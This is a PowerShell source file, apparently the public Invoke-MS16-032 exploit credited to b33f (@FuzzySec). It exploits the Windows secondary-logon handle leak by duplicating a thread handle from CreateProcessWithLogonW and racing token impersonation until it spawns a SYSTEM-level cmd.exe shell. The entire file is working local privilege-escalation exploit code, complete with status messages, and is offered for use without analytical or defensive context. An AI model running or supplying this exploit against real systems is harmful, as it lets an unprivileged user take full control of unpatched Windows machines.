111
1function Invoke-MS16-032 {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($hThread)
if ($CallResult -ne 0) {
echo "[!] $hThread is a bad thread, exiting.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
# Null $SysTokenHandle
$script:SysTokenHandle = [IntPtr]::Zero
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($hThread)
}
# main() <--- ;)
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
"@
$ms16032
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
echo "[>] Duplicating CreateProcessWithLogonW handle"
$hThread = Get-ThreadHandle
# If no thread handle is captured, the box is patched
if ($hThread -eq 0) {
echo "[!] No valid thread handle was captured, exiting!`n"
Return
} else {
echo "[?] Done, using thread handle: $hThread"
} echo "`n[*] Sniffing out privileged impersonation token.."
# Get handle to SYSTEM access token
Get-SystemToken
# If we fail a check in Get-SystemToken, exit
if ($SysTokenHandle -eq 0) {
Return
}
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($hThread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
}
}).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
#---
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
#---
# Missing this check used to cause the exploit to fail sometimes.
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
# reliable now!
#---
if (!$CallResult) {
continue
}
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
}